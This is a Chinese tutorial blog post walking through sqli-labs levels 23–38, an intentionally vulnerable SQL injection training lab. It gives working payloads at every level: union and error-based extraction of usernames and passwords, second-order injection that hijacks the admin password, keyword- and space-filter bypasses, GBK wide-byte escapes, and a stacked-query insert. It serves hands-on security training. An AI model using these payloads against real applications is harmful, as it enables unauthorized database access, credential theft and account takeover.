保姆级教学之sqli-labs(less23-38)

admin 2025年2月12日23:09:06评论5 views字数 9229阅读30分45秒阅读模式

Adv injections

保姆级教学之sqli-labs(less23-38)

less-23

一进去看到页面提示我们输入?id=参数,说明是get请求。

保姆级教学之sqli-labs(less23-38)

老规矩,先判断注入点。 在URL输入?id=1',回显SQL语法报错信息,根据报错信息,我们可以看到可以由单引号引起闭合。

保姆级教学之sqli-labs(less23-38)

判断回显位

现在遇到了一个问题,那就是无论使用--+还是#都无法注释掉后面的语句。 语法报错信息是:' LIMIT 0,1,那我构造一个新的语句与多出来的单引号进行闭合。

因为我一开始也不知道有回显位的数量,然后order by也不行,然后我就进行试错。当使用联合注入的时候,如果列数不对的话就会报错,一步步试错,得到列数为3。

?id=-1' union select 1,2,3 or '1'='1
保姆级教学之sqli-labs(less23-38)

爆库名

?id=-1' union select 1,database(),3 or '1'='1

爆表名

?id=-1' union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database()or'1'='1

爆列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"or '1'='1

爆用户数据

?id=-1' union select 1,group_concat(username),group_concat(password)from users where 1 or '1'='1

less-24

这一关是post请求的,提交参数至表单。存在一个登录框,一个忘记密码的功能点和一个注册账户的功能点。

保姆级教学之sqli-labs(less23-38)

看到这个页面存在注册新用户和修改密码,大概率是二次注入

二次注入是二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。即先插入恶意数据,再引用恶意数据。

先插入恶意数据

页面存在注册页面,那我先注册一个账户,将恶意数据插入。

账户:admin'#密码:123456确认密码:123456

登录注册的账户

保姆级教学之sqli-labs(less23-38)

登录页面后,可以修改密码。因为我们注册的用户是admin'#,这是一个恶意数据。因为修改密码的话,一定是使用update()函数。如果形成注入的是单引号,而admin'#代入SQL语句中,单引号将admin闭合,而#能注释后面的语句,这就意味着修改密码的账户是admin

保姆级教学之sqli-labs(less23-38)

修改密码后,登录admin账户,成功登录,完成二次注入

保姆级教学之sqli-labs(less23-38)

less-25

保姆级教学之sqli-labs(less23-38)根据页面可以判断,是对orand进行了过滤。

先判断字符型还是数字型注入吧,输入?id=1',会回显报错信息和过滤后的字符

保姆级教学之sqli-labs(less23-38)

我们可以知道是单引号引起的注入,而且未被过滤。既然过滤的是orand,那我们试一下联合注入。

判断回显位

?id=-1' union select 1,2,3--+

爆库名

?id=-1' union select 1,2,database()--+

爆表名

因为information_schema有or,所以使用双写绕过。

?id=-1' union select1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

爆列名

and也是双写绕过

?id=-1' union select1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name="users"--+

爆数据

password也是双写绕过

?id=-1' union select1,2,group_concat(id,":",username,":",passwoorrd) fromusers--+

less-25a

这一关也是对orand进行过滤。 判断注入类型,输入?id=1 aandnd 1=2--+?id=1 aandnd 1=1--+可以判断出该关卡为数字型注入

判断回显位

?id=-1 union select 1,2,3--+

爆库名

?id=-1 union select 1,2,database()--+

爆表名

因为information_schema有or,所以使用双写绕过。

?id=-1 union select1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

爆列名

and也是双写绕过

?id=-1 union select1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name="users"--+

爆数据

password也是双写绕过

?id=-1 union select1,2,group_concat(id,":",username,":",passwoorrd) fromusers--+

less-26

这一关,除了过滤orand,还过滤了空格与注释符

空格和注释无法使用绕过空格的几种%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格

尝试使用%0a,但是无法绕过保姆级教学之sqli-labs(less23-38)

尝试一下报错注入

爆库名

?id=0'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1

爆表名

因为information_schema有or,所以使用双写绕过。

?id=0'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1

爆列名

?id=0'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='users'),0x7e),1)||'1'='1

爆数据

?id=0'||updatexml(1,concat(0x7e,(select(group_concat(username,':',passwoorrd))from(users)),0x7e),1)||'1'='1

less-26a

判断注入类型,以及造成注入的原因。因为过滤空格与注释符,我们使用%a0进行空格的绕过

输入?id=1')%a0aandnd('1')=('1判断注入符为')

判断回显位

?id=0')%a0union%a0select%a01,2,3%a0oorr('

爆库名

?id=0')%a0union%a0select%a01,database(),3%a0oorr('

爆表名

?id=0')%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()%a0oorr('

爆列名

?id=0')%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_schema=database()%a0aandnd%a0table_name='users'%a0oorr('

爆数据

?id=0')%a0union%a0select%a01,group_concat(id,":",username,":",passwoorrd),3%a0from%a0users%a0where%a01%a0oorr('

less-27

根据页面提示,我们可以知道过滤的是unionselect。该关卡我们可以使用大小写混淆或者双写进行绕过。

先判断注入符号

输入1',回显报错信息,根据回显信息我们可以看到,引起注入的符号是单引号

判断回显位

?id=0'%a0UniOn%a0SeLeCt%a01,2,3%a0or'

爆数据库名

?id=0'%a0UniOn%a0SeLeCt%a01,database(),3%a0or'

爆表名

?id=0'%a0UniOn%a0SeLeCt%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0or'

爆列名

?id=0'%a0UniOn%a0SeLeCt%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema=database()%a0and%a0table_name='users'%a0or'

爆数据

?id=0'%a0UniOn%a0SelEct%a01,group_concat(id,":",username,":",password),3%a0from%a0users%a0where%a01%a0or'

less-27a

这一关是上一关的变形,也是过滤unionselect

先判断注入符号

输入判断语句,当条件不一样时,回显不一样。说明前端影响后端,存在sql注入。

?id=1"%a0and%a0"1"="1?id=1"%a0and%a0"1"="2

判断回显位

?id=0"%a0UniOn%a0SELect%a01,2,3%a0or"

爆数据库名

?id=0"%a0UniOn%a0SeLeCt%a01,database(),3%a0or"

爆表名

?id=0"%a0UniOn%a0SeLeCt%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0or"

爆列名

?id=0"%a0UniOn%a0SeLeCt%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema=database()%a0and%a0table_name='users'%a0or"

爆数据

?id=0"%a0UniOn%a0SelEct%a01,group_concat(id,":",username,":",password),3%a0from%a0users%a0where%a01%a0or"

less-28

这一关也是过滤unionselect

先判断注入符

我们还是常规手法+绕过过滤测试出注入符。一开始只能确定注入符号肯定有一个单引号,但是后面根据单引号构造的payload无法判断回显位,但就说明注入符不单单是一个单引号,极有可能是')')),这需要进一步测试。

?id=1')%a0and%a0('1')=('1

判断回显位

?id=0')%a0UniOn%a0SELect%a01,2,3%a0or('

爆数据库名

?id=0')%a0UniOn%a0SeLeCt%a01,database(),3%a0or('

爆表名

?id=0')%a0UniOn%a0SeLeCt%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0or('

爆列名

?id=0')%a0UniOn%a0SeLeCt%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_schema=database()%a0and%a0table_name='users'%a0or('

爆数据

?id=0')%a0UniOn%a0SelEct%a01,group_concat(id,":",username,":",password),3%a0from%a0users%a0where%a01%a0or('

less-28a

这一关还是过滤unionselect,跟上一个less-28是一模一样的

less-29

这一关页面提示有WAF。 这一关其实使用常规的联合注入也可以爆出数据,但是既然提示有WAF,那就使用内联注释的注入手法。

判断注入符

输入?id=1',回显报错信息。通过报错信息我们可以知道注入符是单引号

判断回显位

?id=1' /*!union*/ /*!select*/ 1,2,3 or'

爆数据库名

?id=0'/*!union*/ /*!select*/ 1,database(),3 or'

爆表名

?id=0' /*!union*/ /*!select*/ 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() or'

爆列名

?id=0' /*!union*/ /*!select*/ 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' or'

爆数据

?id=0' /*!union*/ /*!select*/ 1,group_concat(username,password),3 from users where 1 or'

less-30

这一关跟上一关很相似,也是提示WAF。

判断注入符

输入1",回显页面不正常,可能双引号是注入符,进一步推测。

?id=1" and "1"="2

判断回显位

?id=0" /*!union*/ /*!select*/ 1,2,3 or"

爆数据库名

?id=0" /*!union*/ /*!select*/ 1,database(),3 or"

爆表名

?id=0" /*!union*/ /*!select*/ 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() or"

爆列名

?id=0" /*!union*/ /*!select*/ 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' or"

爆数据

?id=0" /*!union*/ /*!select*/ 1,group_concat(username,password),3 from users where 1 or"

less-31

判断注入符

输入1",回显报错信息。根据报错信息可以知道注入符是")

判断回显位

?id=0") /*!union*/ /*!select*/ 1,2,3 or("

爆数据库名

?id=0") /*!union*/ /*!select*/ 1,database(),3 or("

爆表名

?id=0") /*!union*/ /*!select*/ 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() or("

爆列名

?id=0") /*!union*/ /*!select*/ 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' or("

爆数据

?id=0") /*!union*/ /*!select*/ 1,group_concat(username,password),3 from users where 1 or("

less-32

输入1',通过回显页面可以看到单引号被转义符转义。所以这一般情况下,是无法进行注入的。

保姆级教学之sqli-labs(less23-38)

在我毫无思绪的时候,突然想到了一个宽字节注入

宽字节注入

通常情况下,SQL注入点是通过单引号来识别的。但当数据经过 addslashes() 处理时,单引号会被转义成无功能性字符,在判断注入点时失效。攻击者利用宽字节字符集(如GBK)将两个字节识别为一个汉字,绕过反斜线转义机制,并使单引号逃逸,实现对数据库查询语句的篡改。

判断回显位

?id=0%df' union select 1,2,3--+

爆数据库名

?id=0%df' union select 1,database(),3--+

爆表名

?id=0%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆列名

这里的table_name使用select语句代替

?id=0%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+

爆数据

?id=0%df' union select 1,group_concat(username,password),3 from users--+

less-33

注入手法和上一关一样,也是使用宽字节注入

输入下面的语句,可以判断出注入符是单引号,后续的注入手法和上一关一样。

?id=1%df' and 1=1--+

less-34

这一关是post请求,但也是宽字节注入

分析注入符号

先抓包,然后输入admin%df'绕过转义,回显报错信息,可以知道注入符为'保姆级教学之sqli-labs(less23-38)

判断回显位

admin%df' union select 1,2#

爆库名

admin%df' union select 1,database()#

爆表名

admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆列名

这里的table_name使用select语句代替

admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)#

爆数据

admin%df' union select 1,group_concat(username,password) from users#

less-35

输入1',回显报错信息,可以看到报错信息中提示该关卡为数字型注入

?id=1 and 1=1#?id=1 and 1=2#

判断回显位

?id=0 union select 1,2,3#

爆表名

?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

爆列名

这里的table_name使用select语句代替

?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1)#

爆数据

?id=0 union select 1,group_concat(username,password),3 from users#

less-36

这一关也是宽字节注入,只是源码中的函数与前面的关卡不一样。

判断注入符

根据下面语句可以判断为单引号字符型注入

?id=1%df' and 1=1--+?id=1%df' and 1=2--+

注入手法与前面less-32一样

less-37

这一关是post请求,也是宽字节注入

判断注入符

admin%df'

回显报错信息,根据报错信息,我们可以知道引起注入的符号是单引号。后续的手工注入手法和less-34一样,用--+作注释

less-38

这一关,常规的联合注入也可以做出来,难度不大。但题目要求我们使用堆叠注入

堆叠注入

sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句就形成了堆叠注入。例如:php中的mysqli_multi_query()函数就会造成堆叠注入。

利用堆叠注入插入一条语句

?id=1';insert into users(id,username,password) value('100','100','100')--+

执行语句后,在url查询id=100的用户保姆级教学之sqli-labs(less23-38)

这样子,id为100的用户就会被插入数据库,成功利用堆叠注入。

原文始发于微信公众号(泷羽Sec-Z1eaf):保姆级教学之sqli-labs(less23-38)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日23:09:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   保姆级教学之sqli-labs(less23-38)https://cn-sec.com/archives/3640822.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息